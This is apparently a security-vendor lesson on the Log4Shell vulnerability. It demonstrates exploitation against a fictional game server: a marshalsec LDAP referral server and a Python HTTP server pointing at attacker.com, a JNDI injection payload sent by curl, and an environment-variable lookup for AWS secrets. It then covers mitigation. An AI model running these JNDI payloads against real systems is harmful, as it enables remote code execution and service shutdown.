Log4j vulnerability: the basics

What is Log4Shell?

CVE-2021-44228, aka log4Shell, is an unauthenticated Remote Code Execution (RCE) vulnerability that affects almost all versions of Apache log4j version 2. On the 9th of December 2021, news of the zero-day spread across infosec communities along with a publicly available proof-of-concept (POC). It didn’t take long to see the exploit being used in the wild by malicious actors, with evidence even suggesting exploitation of the bug starting before Apache’s disclosure.

The impact of Log4Shell was not fully realized at first, at first glance it appeared to be a bug affecting Minecraft. Shortly after, security researchers caught on that the vulnerable component was the very widely used log4j. With Oracle reporting over 13 billion devices using java, the realization started to set in that this bug could have a much bigger impact than initially thought.

About this lesson

In this lesson, you will learn how to exploit log4shell, what it looks like under the hood, and how to secure your application. We’ll begin by exploiting this bug in a vulnerable Java-based game called “GeoKore”. After that, we’ll learn more about what the log4shell bug looks like under the hood. Finally, we’ll fix up the GeoKore application to prevent any further exploitation of the log4shell bug.

Ready to learn? Buckle your seat belts, put on your hacker's hat, and let's get started!

FUN FACT

Minecraft "Creepers"

The explosive enemy in Minecraft “Creepers” initially made its debut due to a coding error! The creator of the game, Swedish programmer and designer Markus Persson intended to create a pig but accidentally switched the height and length which resulted in the petulant creeper.

Log4Shell in action

Hacking a game app!

GeoKore is a sweet pixel-art survival game created by a small group of developers as a passion project. It’s a java-based game developed in the mid-2000s. It became a massive success after the development team decided to expand the game to be multiplayer, giving players the ability to socialize, trade, battle, and join other players’ servers.

GeoKore uses Apache’s log4j as its logging framework. Let’s see if we can exploit Log4Shell to execute code on one of the factions servers.

Setting up the LDAP server

First, we need to spin up a server that will return the following link: http://attacker.com/#exploit

Attacker.com is the domain where we will set up our HTTP and LDAP server. We need the HTTP server to host our malicious Java class, called “exploit” and the LDAP server to redirect the victim GeoKore server to our payload.

We have a choice of spinning up a server using LDAP, DNS, CORBA, or RMI protocols, as they all interface with JNDI (Java Naming and Directory Interface), which is the vulnerable component of Log4J. Note that JNDI does not support the HTTP protocol, which is why we need both an LDAP and HTTP server. We’ll learn more about this later in the ‘under the hood’ section.

For this example, we’ll spin up a precooked LDAP server from Github - mbechler/marshalsec:

To do so, copy and paste the following into the terminal below and hit enter:

mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'

Demo terminal

Setting up the HTTP server

Our HTTP Server is going to contain the malicious java class. For this example, we’re just going to spin up a simple python HTTP server. Attackers “in the wild” would likely store their malicious java class on a more complicated command and control (C2) server where they’d also set up a mechanism to get an interactive shell on the victim machine.

Have a look at the code by running: cat Exploit.java in terminal. This code will temporarily shut down the server until the server owner manually turns their device back on.

In the directory containing our payload, run now the following command: python3 -m http.server 8080. This will ensure our malicious java class is available for download at: http://attacker.com/#exploit

Demo terminal

Triggering the exploit

In the “GeoKore” Game client we are able to select “Multiplayer” mode. Selecting that game mode brings you to a screen with 4 “faction” servers to choose from: Fusehunt, Geopoint, Clusterblast, Masterdroid. Selecting any of them will open a chat screen with a “display name” input box. We see that the client sends entered user name to http://geokore.com/game/start.

Now you think, what if we inject ${jndi:ldap://attacker.com/a} into the users name and send the request via CURL? This string will make its way to the server through a cookie called “user”. This will trigger a JNDI remote lookup, the response from ldap://attacker.com will then contain a link to the HTTP server containing our payload.

Congratulations! Our malicious java class contained a command to stop running the GeoKore faction’s server. If we send a basic CURL, we can see that this server is not responding anymore!

curl -X POST --data "displayName=${jndi:ldap://attacker.com/a}" http://geokore.com/game/start && curl -I http://geokore.com

Demo terminal

Log4Shell under the hood

How does Log4j vulnerability work?

Apache log4j has a somewhat unique feature for a logging framework, called “lookups”, which provides a way for users to supply input on how their activity is logged. Lookups are denoted by variables wrapped up in “${....}” characters. These lookups simply allow for string replacements. It sounds relatively benign, but this can cause issues with compliance and potentially information leakage, as users can insert sensitive information such as environment variables and session tokens into the log files. For example, an environment lookup would look like this:

${env:AWS_SECRET_KEY}

Further to this issue and the main vulnerable component behind Log4Shell is JNDI lookups. The Java Naming and Directory Interface (JNDI) is the Java runtime feature often used legitimately by developers for querying data from local or remote services. Our example below shows how to insert an environment variable from the root context (i.e. application server like Tomcat):

${jndi:java:comp/env/AWS_SECRET_KEY}

It is important to note that JNDI out of the box provides the ability to perform remote requests via a variety of network protocols like LDAP or RMI. The example below demonstrates JNDI making a remote request to an LDAP server located at example.com:

${jndi:ldap://example.com/Foo}

A code injection illustration that shows a hacker sending a malicious code to an API

The JNDI API includes support for the following naming and directory services:

  • Lightweight Directory Access Protocol (LDAP)
  • Common Object Request Broker Architecture (CORBA)
  • Common Object Services (COS) name service
  • Java Remote Method Invocation (RMI) Registry
  • Domain Name Service (DNS)

This is why we had to set up an LDAP server to provide our initial remote lookup; JNDI doesn’t support HTTP requests by default.

To exploit this functionality, all an attacker needs to do is find user-controlled input that will make its way into the logs. This will depend on the application, but a common injection method is through regularly logged HTTP headers such as the User-Agent or Referrer. In our application, it was simply the display name that was being logged. After injection, the victim server will then reach out to the attacker’s LDAP server, which then responds with the remote location of the malicious java class. Log4j then fetches and runs the java class, allowing for the execution of attacker-controlled code.

We injected our payload into the display name, this was saved as a cookie called “user”.

Impacts of Log4Shell

The simplicity of this exploit, as well as the ubiquitous nature of the library has had security professionals scrambling to respond since the bug’s disclosure. The full extent of the impact of this bug has not yet been realized but is expected to be an issue that will have a significant impact for years to come. Since its release, new variants of the exploit have been discovered rapidly, with over 60 mutations discovered in less than 24 hours at one point. One variation even included exporting environment variables such as AWS Secret keys to attacker-controlled DNS servers.

Is code injection common?

GeoKore uses the Apache Log4J2 Logging framework, specifically version 2.14.1. Unfortunately, Log4Shell affects almost all versions of Log4J2 from 2.0-beta9 to 2.14.1.

FUN FACT

DoS issue in Log4j v2.16.0

99 little bugs in the code ... Take one down, patch it around ... 127 little bugs in the code ... After the patch for Log4j that solved RCE was released, security experts found a new issue making it vulnerable to a DoS attack. Happily, it was fixed in v2.1. To learn more check out our article about that here.

Scan your code & stay secure with Snyk - for FREE!

Did you know you can use Snyk for free to verify that your code
doesn't include this or other vulnerabilities?

Scan your code

Log4shell mitigation

The original advice for mitigating Log4Shell was to upgrade to version 2.16, unfortunately a denial of service exploit has now been discovered in that version. The recommended advice is now to upgrade to version 2.17. There has been a lot of conflicting remediation advice floating around, but as a general practice, all dependencies in any project should be kept up to date and log4j is no exception. Using a tool like Snyk to automatically find and fix vulnerabilities like this will ensure you’re ahead of the curve when vulnerabilities like this come out.

For a deep dive into remediation recommendations, check out our Log4Shell Remediation Cheat Sheet. This sheet is continuously being updated as new information becomes available.

Keep learning

To learn more about Log4j vulnerability aka Log4Shell, check out some other great content:

  • Have a look at our Log4j vulnerability explained session that goes over some other examples of Log4Shell
  • We all love cheatsheets, to check this one here, where you can read about Log4j vulnerability and how to prevent it
  • Learn more on the impact of Log4Shell on the overall security domain from Simon Maple (CTO) and Guy Podjarny (Founder) on YouTube
  • Last but not the least, if you loved the lesson, don't forget to check out our hands-on deep dive prepared by Micah Silverman (Director, DevSecOps Acceleration) on YouTube

Congratulations

You have taken your first step into learning what Log4j vulnerability aka Log4Shell is, how it works, what the impacts are, and how to protect your own applications. We hope that you will apply this knowledge to make your applications safer. We'd really appreciate it if you could take a minute to rate how valuable this lesson was for you and provide feedback to help us improve! Also, make sure to check out our lessons on other common vulnerabilities.